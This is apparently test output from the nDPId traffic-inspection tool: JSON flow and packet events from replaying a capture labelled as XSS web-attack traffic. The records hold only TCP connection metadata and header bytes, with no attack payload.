+00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":123,"flow_packet_id":6,"flow_first_seen":1499347178540,"flow_last_seen":1499347183663,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54430,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":6,"flow_first_seen":1499347181178,"flow_last_seen":1499347186665,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54456,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":124,"flow_packet_id":6,"flow_first_seen":1499347181178,"flow_last_seen":1499347186665,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54456,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":6,"flow_first_seen":1499347182435,"flow_last_seen":1499347187664,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54470,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":125,"flow_packet_id":6,"flow_first_seen":1499347182435,"flow_last_seen":1499347187664,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54470,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":6,"flow_first_seen":1499347183714,"flow_last_seen":1499347189665,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54484,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":126,"flow_packet_id":6,"flow_first_seen":1499347183714,"flow_last_seen":1499347189665,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54484,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":6,"flow_first_seen":1499347186286,"flow_last_seen":1499347191666,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54510,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":127,"flow_packet_id":6,"flow_first_seen":1499347186286,"flow_last_seen":1499347191666,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54510,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":6,"flow_first_seen":1499347187548,"flow_last_seen":1499347192666,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54524,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":2376,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":128,"flow_packet_id":6,"flow_first_seen":1499347187548,"flow_last_seen":1499347192666,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":54524,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2379,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":167,"flow_packet_id":1,"flow_first_seen":1499347253445,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55226,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":167,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2379,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347253,"pkt_ts_usec":445070,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8uoZAAD4GC0qsEAABwKgKMte6AFBXtER6AAAAAKACchDqlAAAAgQFtAQCCAoBOf78AAAAAAEDAwc="} +00445{"flow_id":167,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2380,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347253,"pkt_ts_usec":445200,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ17p5Tes0V7REe6AScSCymwAAAgQFtAQCCAoD49ByATn+\/AEDAwc="} +00433{"flow_id":167,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2381,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347253,"pkt_ts_usec":445941,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uodAAD4GC1GsEAABwKgKMte6AFBXtER7eU3rNYAQAOVRowAAAQEICgE5\/vwD49By"} +00433{"flow_id":164,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2385,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347253,"pkt_ts_usec":686288,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JiZAAD4Gn7KsEAABwKgKMteEAFBjB9wtSrlvcoARAOVd4gAAAQEICgE5\/zgD48t+"} +00433{"flow_id":164,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2386,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347253,"pkt_ts_usec":686503,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0v91AAEAGA\/vAqAoyrBAAAQBQ14RKuW9yYwfcLoARAONYsgAAAQEICgPj0K8BOf84"} +00433{"flow_id":164,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2387,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347253,"pkt_ts_usec":687281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0JidAAD4Gn7GsEAABwKgKMteEAFBjB9wuSrlvc4AQAOVYrwAAAQEICgE5\/zkD49Cv"} +00432{"flow_id":165,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2391,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347254,"pkt_ts_usec":686456,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0os1AAD4GIwusEAABwKgKMteSAFAC31mERhCvKoARAOUDXAAAAQEICgE6ADMD48y+"} +00432{"flow_id":165,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2392,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347254,"pkt_ts_usec":686787,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0foNAAEAGRVXAqAoyrBAAAQBQ15JGEK8qAt9ZhYARAOP+cQAAAQEICgPj0akBOgAz"} +00432{"flow_id":165,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2393,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347254,"pkt_ts_usec":687501,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0os5AAD4GIwqsEAABwKgKMteSAFAC31mFRhCvK4AQAOX+bwAAAQEICgE6ADMD49Gp"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2394,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":168,"flow_packet_id":1,"flow_first_seen":1499347254714,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55240,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":168,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2394,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347254,"pkt_ts_usec":714412,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8sPBAAD4GFOCsEAABwKgKMtfIAFAvObDJAAAAAKACchCldQAAAgQFtAQCCAoBOgA5AAAAAAEDAwc="} +00444{"flow_id":168,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2395,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347254,"pkt_ts_usec":714548,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ18hpS4YpLzmwyqAScSDhSwAAAgQFtAQCCAoD49GwAToAOQEDAwc="} +00432{"flow_id":168,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2396,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347254,"pkt_ts_usec":715292,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sPFAAD4GFOesEAABwKgKMtfIAFAvObDKaUuGKoAQAOWAUgAAAQEICgE6ADoD49Gw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2410,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1499347257224,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55266,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":169,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2410,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347257,"pkt_ts_usec":224854,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8MIRAAD4GlUysEAABwKgKMtfiAFCgDzIpAAAAAKACchCwsQAAAgQFtAQCCAoBOgKtAAAAAAEDAwc="} +00444{"flow_id":169,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2411,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347257,"pkt_ts_usec":224924,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1+LmPUR7oA8yKqAScSCu0AAAAgQFtAQCCAoD49QjAToCrQEDAwc="} +00432{"flow_id":169,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2412,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347257,"pkt_ts_usec":225712,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MIVAAD4GlVOsEAABwKgKMtfiAFCgDzIq5j1EfIAQAOVN2AAAAQEICgE6Aq0D49Qj"} +00432{"flow_id":166,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2415,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347257,"pkt_ts_usec":687441,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06RBAAD4G3MesEAABwKgKMtesAFDOJxTPqWjIzoARAOX6SwAAAQEICgE6AyED4882"} +00433{"flow_id":166,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2416,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347257,"pkt_ts_usec":687687,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0HFlAAEAGp3\/AqAoyrBAAAQBQ16ypaMjOzicU0IARAOP06wAAAQEICgPj1JcBOgMh"} +00432{"flow_id":166,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2417,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347257,"pkt_ts_usec":688237,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06RFAAD4G3MasEAABwKgKMtesAFDOJxTQqWjIz4AQAOX06QAAAQEICgE6AyED49SX"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2421,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1499347258474,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55280,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":170,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2421,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347258,"pkt_ts_usec":474053,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA87xpAAD4G1rWsEAABwKgKMtfwAFBQ0ez\/AAAAAKACchBD0wAAAgQFtAQCCAoBOgPlAAAAAAEDAwc="} +00445{"flow_id":170,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2422,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347258,"pkt_ts_usec":474182,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1\/Cr4O+wUNHtAKAScSDP4AAAAgQFtAQCCAoD49VcAToD5QEDAwc="} +00432{"flow_id":170,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2423,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347258,"pkt_ts_usec":474957,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07xtAAD4G1rysEAABwKgKMtfwAFBQ0e0Aq+DvsYAQAOVu5wAAAQEICgE6A+YD49Vc"} +00432{"flow_id":167,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2427,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347258,"pkt_ts_usec":687775,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uohAAD4GC1CsEAABwKgKMte6AFBXtER7eU3rNYARAOVMgwAAAQEICgE6BBsD49By"} +00432{"flow_id":167,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2428,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347258,"pkt_ts_usec":688174,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0PqRAAEAGhTTAqAoyrBAAAQBQ17p5Tes1V7REfIARAONHZQAAAQEICgPj1ZEBOgQb"} +00432{"flow_id":167,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2429,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347258,"pkt_ts_usec":688724,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0uolAAD4GC0+sEAABwKgKMte6AFBXtER8eU3rNoAQAOVHYwAAAQEICgE6BBsD49WR"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2433,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1499347259759,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55294,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":171,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2433,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347259,"pkt_ts_usec":759681,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Xl9AAD4GZ3GsEAABwKgKMtf+AFDARlt4AAAAAKACchBklQAAAgQFtAQCCAoBOgUnAAAAAAEDAwc="} +00445{"flow_id":171,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2434,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347259,"pkt_ts_usec":759827,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ1\/6Hgb3OwEZbeaAScSBFowAAAgQFtAQCCAoD49adAToFJwEDAwc="} +00432{"flow_id":171,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2435,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347259,"pkt_ts_usec":760584,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XmBAAD4GZ3isEAABwKgKMtf+AFDARlt5h4G9z4AQAOXkqgAAAQEICgE6BScD49ad"} +00432{"flow_id":168,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2439,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347260,"pkt_ts_usec":688718,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sPJAAD4GFOasEAABwKgKMtfIAFAvObDKaUuGKoARAOV6fAAAAQEICgE6Bg8D49Gw"} +00432{"flow_id":168,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2440,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347260,"pkt_ts_usec":688932,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Ua9AAEAGcinAqAoyrBAAAQBQ18hpS4YqLzmwy4ARAON0qAAAAQEICgPj14UBOgYP"} +00432{"flow_id":168,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2441,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347260,"pkt_ts_usec":689680,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sPNAAD4GFOWsEAABwKgKMtfIAFAvObDLaUuGK4AQAOV0pgAAAQEICgE6Bg8D49eF"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2451,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1499347262289,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55320,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":172,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2451,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347262,"pkt_ts_usec":289310,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ic9AAD4GPAGsEAABwKgKMtgYAFBS2I5QAAAAAKACchCcmQAAAgQFtAQCCAoBOgefAAAAAAEDAwc="} +00445{"flow_id":172,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2452,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347262,"pkt_ts_usec":289431,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2BhB\/tqnUtiOUaAScSCj2QAAAgQFtAQCCAoD49kVAToHnwEDAwc="} +00432{"flow_id":172,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2453,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347262,"pkt_ts_usec":290176,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0idBAAD4GPAisEAABwKgKMtgYAFBS2I5RQf7aqIAQAOVC4QAAAQEICgE6B58D49kV"} +00432{"flow_id":169,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2457,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347262,"pkt_ts_usec":688638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0MIZAAD4GlVKsEAABwKgKMtfiAFCgDzIq5j1EfIARAOVIgQAAAQEICgE6CAMD49Qj"} +00432{"flow_id":169,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2458,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347262,"pkt_ts_usec":688825,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0nQVAAEAGJtPAqAoyrBAAAQBQ1+LmPUR8oA8yK4ARAONDLAAAAQEICgPj2XkBOggD"} 